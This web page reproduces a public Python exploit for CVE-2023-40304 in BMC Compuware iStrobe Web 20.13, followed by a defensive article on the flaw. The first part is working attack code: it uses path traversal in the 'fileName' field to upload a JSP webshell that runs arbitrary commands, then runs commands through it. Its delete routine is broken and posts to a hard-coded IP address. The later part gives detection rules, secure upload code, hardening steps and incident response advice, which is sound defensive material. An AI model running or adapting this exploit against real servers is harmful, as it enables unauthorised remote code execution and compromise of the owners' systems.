BMC Compuware iStrobe Web - 20.13 - Pre-auth RCE

Exploit Author: trancap Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-04-13
#!/usr/bin/env python3

# Exploit Title: Pre-auth RCE on Compuware iStrobe Web
# Date: 01-08-2023
# Exploit Author: trancap
# Vendor Homepage: https://www.bmc.com/
# Version: BMC Compuware iStrobe Web - 20.13
# Tested on: zOS# CVE : CVE-2023-40304
# To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files)
# The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed.

import requests
import urllib.parse
import argparse
import sys

def upload_web_shell(url):
  data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@
page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process
p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader
stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));BufferedReader stdError = new
BufferedReader(new InputStreamReader(p.getErrorStream()));String
s=\"\";while((s=stdInput.readLine()) !=
null){out.println(s);};s=\"\";while((s=stdError.readLine()) !=
null){out.println(s);};%>","lang":"en","type":"MODULE","status":"PUB"}
  # If encoded, the web shell will not be uploaded properly
  data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!')

  # Checking if web shell already uploaded
  r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False)
  if r.status_code != 404:
    return

  r = requests.post(f"{url}/istrobe/userHelp/saveUserHelp", data=data,
verify=False)

  if r.status_code == 200:
    print(f"[+] Successfully uploaded web shell, it should be
accessible at {url}/istrobe/jsp/userhelp/ws.jsp")
  else:
    sys.exit("[-] Something went wrong while uploading the web shell")

def delete_web_shell(url):
  paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"}
  response = session.post("http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp",
data=paramsPost, headers=headers, cookies=cookies)

  if r.status_code == 200:
    print(f"[+] Successfully deleted web shell")
  else:
    sys.exit("[-] Something went wrong while deleting the web shell")

def run_cmd(url, cmd):
  data = f"cmd={cmd}"
  r = requests.post(f"{url}/istrobe/jsp/userhelp/ws.jsp", data=data,
verify=False)

  if r.status_code == 200:
    print(r.text)
  else:
    sys.exit(f'[-] Something went wrong while executing "{cmd}" command')

parser = argparse.ArgumentParser(prog='exploit_cve_2023_40304.py', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE')
parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://vuln.target')
parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami')
parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true')
args = parser.parse_args()

upload_web_shell(args.url)
run_cmd(args.url, args.cmd)

if args.rm:
  delete_web_shell(args.url)


BMC Compuware iStrobe Web 20.13 — CVE-2023-40304: Pre-auth File Upload → RCE (Overview, Risks, and Defenses)

This article examines the pre-authentication remote code execution (RCE) reported against BMC Compuware iStrobe Web (version 20.13) and tracked as CVE-2023-40304. It explains the root cause at a technical level, describes risk and detection techniques, and provides defensive guidance, secure coding examples, and incident response advice for administrators and developers.

Summary

CVE-2023-40304 is a server-side file upload vulnerability combined with inadequate path and filename validation. An attacker who can access an exposed upload endpoint (in some configurations, "Guest" access is sufficient) may be able to perform path traversal and save files into a web-accessible directory. If the server executes uploaded code (for example, JSP on a Java web application), this can lead to remote code execution.

Attribute Value
CVE CVE-2023-40304
Affected product BMC Compuware iStrobe Web 20.13 (reported)
Attack vector Unauthenticated HTTP file upload + path traversal
Impact Arbitrary file write into webroot → potential remote code execution
Mitigation Patch or apply configuration mitigations, restrict access, validate/sanitize uploads

How this class of vulnerability works (technical overview)

  • Many web applications expose an upload endpoint that accepts a filename parameter and file content from the client.
  • If the server concatenates an attacker-controlled filename into a path without canonicalizing or sanitizing, the attacker can include path traversal sequences (../) to escape the intended upload directory.
  • If the application allows uploading of executable file types (e.g., .jsp, .php) into a web-accessible location and the webserver evaluates those files, an attacker can cause remote code execution by uploading a webshell or similar payload.
  • Because this vulnerability can be triggered before authentication (pre-auth), it is particularly dangerous: attackers do not need valid credentials to attempt exploitation when the relevant functionality is exposed.

Root causes and common coding mistakes

  • Accepting arbitrary filenames from clients and writing them directly to disk.
  • Failing to canonicalize (resolve) the destination path and verify that the target resides inside an allowed directory.
  • Allowing dynamic upload of executable file types into locations where the web engine executes server-side code.
  • Insufficient access controls on upload endpoints (e.g., leaving "guest" or unauthenticated access enabled).

Detection and hunting (for defenders)

When hunting for attempts or indicators of compromise, focus on the following signals:

  • HTTP POSTs with filename or path parameters containing traversal sequences such as "../" or "%2e%2e%2f".
  • Uploads with file contents containing server-side directives (e.g., JSP directives like <%@ or scriptlet tags <% ... %>, or PHP tags <?php). Such payloads often indicate attempted webshell uploads.
  • Requests to known upload paths (review application documentation and logs) followed by immediate GETs to newly created resources under webroot.
  • Unexpected new files under web-accessible directories, especially files with executable extensions.

Example Suricata/IDS-style detection pattern (defensive use):


alert http any any -> any any (msg:"Potential path traversal in file upload (../ sequence)"; 
flow:to_server,established; http.method; content:"POST"; http.uri; content:"fileName=";
content:"../"; nocase; sid:1000001; rev:1;)

Explanation: This rule raises an alert for POST requests that appear to include a "fileName" parameter containing a "../" traversal sequence. Use such rules to detect suspicious upload attempts, tune to your environment, and avoid false positives.

Safe mitigation strategies (short-term and long-term)

  • Apply vendor patches or updates as soon as they are available.
  • If possible, disable or restrict "guest" or anonymous access to functionality that allows file uploads.
  • Restrict access to the application with network controls — limit endpoints using firewalls, VPN, or web application firewall (WAF) rules.
  • Harden upload handling: reject dangerous file extensions, store uploaded files outside the webroot, generate server-controlled names, and perform strict path canonicalization checks.
  • Implement content scanning on uploaded files (malware scanning, signature and heuristic checks) and block known webshell patterns.
  • Configure the webserver to not execute uploaded files from user-controlled areas. For example, keep user uploads in a directory that is served statically (no script execution) or under a different domain/subdomain with strict rules.

Secure upload handling: canonicalization and allowlisting (example in Java)


// Defensive pseudocode (Java servlet-style) to securely handle uploads.
// Key ideas: canonicalize path, enforce base directory, allowlist extensions,
// generate server-controlled filename, do not write into web-executable directories.

File uploadBase = new File("/var/app/uploads").getCanonicalFile(); // server-controlled base directory

// 'filename' comes from the client; 'inputStream' is the uploaded file content
String clientFilename = sanitizeClientFilename(originalClientFilename); // remove nulls, control chars
if (!isAllowedExtension(clientFilename)) {
    throw new ServletException("File type not allowed.");
}

// generate server-controlled filename (avoid using client filename as-is)
String safeName = UUID.randomUUID().toString() + getExtension(clientFilename);
File target = new File(uploadBase, safeName);
File targetCanonical = target.getCanonicalFile();

// Ensure the target is still within the uploadBase directory
if (!targetCanonical.getPath().startsWith(uploadBase.getPath() + File.separator)) {
    throw new ServletException("Invalid upload path.");
}

// Write file
try (OutputStream os = new FileOutputStream(targetCanonical)) {
    copy(inputStream, os);
}
// Set restrictive permissions and do not make executable
targetCanonical.setExecutable(false, false);
targetCanonical.setReadable(true, true);
targetCanonical.setWritable(false, true);

Explanation: This defensive pattern demonstrates canonicalization (getCanonicalFile) to resolve '..' sequences and symbolic links, verifies that the resolved path is inside the known upload base directory, and uses a server-generated filename to prevent directory traversal and client-controlled execution. It also demonstrates an allowlist approach to file types and sets restrictive permissions.

Python Flask defensive example (store outside webroot)


# Defensive Flask-style pseudocode for secure upload
ALLOWED_EXTENSIONS = {'png','jpg','jpeg','txt','pdf'}  # no server-side executable types

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/upload', methods=['POST'])
def upload():
    uploaded = request.files.get('file')
    if not uploaded or not allowed_file(uploaded.filename):
        return "Invalid file", 400

    # generate server-controlled filename
    ext = os.path.splitext(uploaded.filename)[1]
    safe_name = f"{uuid.uuid4().hex}{ext}"
    upload_base = Path("/var/app/uploads").resolve()

    target = (upload_base / safe_name).resolve()
    if not str(target).startswith(str(upload_base) + os.sep):
        return "Invalid path", 400

    uploaded.save(str(target))
    # Do not serve files directly from this directory as executable content
    return "OK", 200

Explanation: This example uses an allowlist of safe extensions (no script types), generates a server-controlled filename, canonicalizes paths using resolve(), and rejects any requests that would escape the intended directory. Files are stored outside the web-executable area so they cannot be executed as code.

Recommended configuration and hardening checklist

  • Patch the product to the vendor-released fixed version. If a vendor patch is not available, apply mitigations: disable guest access, restrict access to the upload endpoints, or place the application behind a reverse proxy/WAF with blocking rules.
  • Ensure uploaded files are stored outside of any webroot and are not processed by template engines or script containers.
  • Reject or sanitize any path separators in client-supplied filenames. Prefer server-generated file identifiers.
  • Implement strong allowlisting for accepted file extensions and MIME-type validation based on file content, not just client-supplied metadata.
  • Log upload activity with enough context (source IP, timestamp, filename, response code) and monitor for anomalies.
  • Scan newly uploaded content for malware and for patterns consistent with webshells (server-side script tokens) and alert on detections.

Incident response steps if you suspect exploitation

  • Isolate the affected application (limit network access) to prevent further attacker activity.
  • Preserve logs and disk images for forensic analysis (webserver logs, application logs, OS-level logs, process lists, webroot contents).
  • Search webroot and upload directories for unexpected files (newly created .jsp/.php/.asp files or files containing server-side tokens) and record timestamps and owners.
  • Check for active webshells, unusual processes, reverse connections, and new accounts or scheduled tasks.
  • Rotate credentials and any keys that could have been exposed, and review access for anomalous activity.
  • Apply vendor fixes and confirm the vulnerability is closed before returning to normal operations. Rebuild compromised hosts when in doubt.

Why responsible disclosure and network separation matter

Pre-auth vulnerabilities that allow arbitrary file placement into webroot are high-risk because they require little to no attacker privilege to reach code execution. Segmentation, least privilege, and careful handling of anonymous access significantly reduce the blast radius of such issues. Vendors and administrators should coordinate disclosure and prioritize patches for vulnerabilities that could lead to RCE.

Further reading and references

  • Vendor advisories and official remediation notes (check BMC's security advisories).
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • OWASP: File Upload Security Cheat Sheet